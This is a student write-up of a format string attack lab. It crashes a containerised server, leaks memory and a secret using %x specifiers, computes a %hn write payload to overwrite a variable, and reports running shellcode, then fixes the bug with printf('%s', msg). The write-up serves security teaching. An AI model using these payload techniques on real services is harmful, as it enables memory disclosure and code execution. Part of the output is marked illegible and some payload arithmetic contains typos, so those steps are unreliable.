

Format String Attack Lab

Task 1: Crashing the Program

Set up docker and environment:

```
[09/29/25]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -z execstack -static -m32 -o format-32 format.c
format.c: In function 'myprintf':
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
   44 |     printf(msg);
      |     ^~~~~~
gcc -DBUF_SIZE=100 -z execstack -o format-64 format.c
format.c: In function 'myprintf':
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
   44 |     printf(msg);
      |     ^~~~~~
[09/29/25]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

```
[09/29/25]seed@VM:~/.../Labsetup$ docker-compose build
```

```
Building fmt-server-1
```

```
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
```

```
---> 1102071f4a1d
```

```
Step 2/6 : COPY server    /fmt/
```

```
---> 28969a003c99
```

```
Step 3/6 : ARG ARCH
```

```
---> Running in b2c361a788fc
```

```
Removing intermediate container b2c361a788fc
```

```
---> f7c9563df577
```

```
Step 4/6 : COPY format-${ARCH} /fmt/format
```

```
---> 791f19cb36c1
```

```
Step 5/6 : WORKDIR /fmt
```

```
---> Running in 1540cee89f26
```

```
Removing intermediate container 1540cee89f26
```

```
---> d8eaa4b4f0e6
```

```
Step 6/6 : CMD ./server
```

```
---> Running in 3679d1ceff06
```

```
Removing intermediate container 3679d1ceff06
```

```
---> c3ac41c8bdb2
```

```
Successfully built c3ac41c8bdb2
```

```
Successfully tagged seed-image-fmt-server-1:latest
```

```
Building fmt-server-2
```

```
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
```

```
---> 1102071f4a1d
```

```
Step 2/6 : COPY server    /fmt/
```

```
---> Using cache
```

```
---> 28969a003c99
```

```
Step 3/6 : ARG ARCH
```

```
---> Using cache
```

```
---> f7c9563df577
```

```
Step 4/6 : COPY format-${ARCH} /fmt/format
```

```
---> 6d14e35ec61e
```

```
Step 5/6 : WORKDIR /fmt
```

```
---> Running in 2ff5a1091ee0
```

```
Removing intermediate container 2ff5a1091ee0
```

```
---> 10d079cd050d
```

```
Step 6/6 : CMD ./server
```

```
---> Running in 18da02608245
```

```
Removing intermediate container 18da02608245
```

```
---> e0fa90ec372c
```

```
Successfully built e0fa90ec372c
```

```
Successfully tagged seed-image-fmt-server-2:latest
```

Send a message to the server

```
[09/29/25]seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
```

See response

```
[09/29/25]seed@VM:~/.../Labsetup$ docker logs -f server-10.9.0.5
Got a connection from 10.9.0.1
Starting format
The input buffer's address: 0xffffd5b0
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 6 bytes.
Frame Pointer (inside myprintf): 0xffffd4d8
The target variable's value (before): 0x11223344
hello
The target variable's value (after): 0x11223344
(^_^)(^_^) Returned properly (^_^)(^_^)
```

Using the build_string.py file, we create a badfile and send it to the server

```
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ls
badfile  build_string.py  exploit.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting format
The input buffer's address: 0xffffd5b0
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 1500 bytes.
Frame Pointer (inside myprintf): 0xffffd4d8
The target variable's value (before): 0x11223344
```

From this, we can see that “(^_^)(^_^) Returned properly (^_^)(^_^)” was not printed so we successfully crashed the function.

Task 2: Printing Out the Server Program's Memory

Pick a marker → 0x40404040 and update build_string.py

```
[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

Then send the file to the server

```

Got a connection from 10.9.0.1
Starting format
The input buffer's address: 0xffffd5b0
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 133 bytes.
Frame Pointer (inside myprintf): 0xffffd4d8
The target variable's value (before): 0x11223344
@@@1122334410008049db580e532080e61c0ffffd5b0ffffd4d880e62d480e5000ffffd5788049f7efffd5b0
0648049f4780e5320557ffffd635ffffd5b080e532080e9720000000000000000000000000981d450080e5000
80e5000ffffdb988049efffffd5b0855dc80e5320000ffffdc640008540404040
The target variable's value (after): 0x11223344
(^_^)(^_^) Returned properly (^_^)(^_^)

```

In the printed sequence the marker 40404040 appears as the 64th printed token. That means you need 64 %x specifiers to reach the first 4 bytes of your input in this run.

Do the same for the hex string using the secret message's address

```

Got a connection from 10.9.0.1
Starting format
The input buffer's address: 0xffffd5b0
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 1500 bytes.
Frame Pointer (inside myprintf): 0xffffd4d8
The target variable's value (before): 0x11223344
@
abcd1122334410008049db580e532080e61c0ffffd5b0ffffd4d880e62d480e5000ffffd5788049f7efffd5b0
0648049f4780e53205dc5dcffffd5b0ffffd5b080e97200000000000000000000000009e66a90080e500080e5
000ffffdb988049efffffd5b05dc5dc80e5320000ffffdc640005dcA secret message
The target variable's value (after): 0x11223344
(^_^)(^_^) Returned properly (^_^)(^_^)

```

In which we were able to get the secret message.

Task 3: Modifying the Server Program's Memory

We use the offset that we got from 2A → 64, use the target variable address: 0x080e5068 and modify build_string.py once again

```

[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090

```


$$0xFFFF \rightarrow 65535 \rightarrow 65535 - 12 - (8 * 62) - (1 * 62) = 64965$$

Input buffer's address $\rightarrow 0xffffd5b0 \rightarrow 54704 + 1 + 0x168 = 55065$

Therefore, we get “%.8x.”*62 + “%.64965x”+”%hn” + “&.55065x” + “%hn”

Modify exploit.py

```
[09/29/25]seed@VM:~/.../attack-codes$ nano exploit.py
[09/29/25]seed@VM:~/.../attack-codes$ ./exploit.py
332
[09/29/25]seed@VM:~/.../attack-codes$ cat badfile | nc 10.9.0.5 9090
```

[illegible]

From this, we can see that we were able to run the shellcode by using exploit.py

Task 6: Fixing the Problem

Modify `printf(msg)` to `printf("%s",msg)` and make again

```
[09/29/25] seed@VM:~/.../server-code$ nano format.c
[09/29/25] seed@VM:~/.../server-code$ make
gcc -DBUF_SIZE=100 -z execstack -static -m32 -o format-32 format.c
gcc -DBUF_SIZE=100 -z execstack -o format-64 format.c
[09/29/25] seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

And run attack from task 1

```
Got a connection from 10.9.0.1
Starting format
The input buffer's address:    0xffffd830
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 1500 bytes.
Frame Pointer (inside myprintf):    0xffffd758
The target variable's value (before): 0x11223344
0000abcd%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x\nThe target variable's value (after): 0x11223344
(^ ^)(^ ^) Returned properly (^ ^)(^ ^)
```

From this, we can see that “Returned properly” is printed, which means we did not crash the program, preventing the attack. By fixing the code to `printf("%s", msg)`, the user input is treated as plain text rather than a format string. After this change, the warning disappears, and previous attacks using `%n` or other format specifiers no longer work because the input is no longer interpreted as a format string.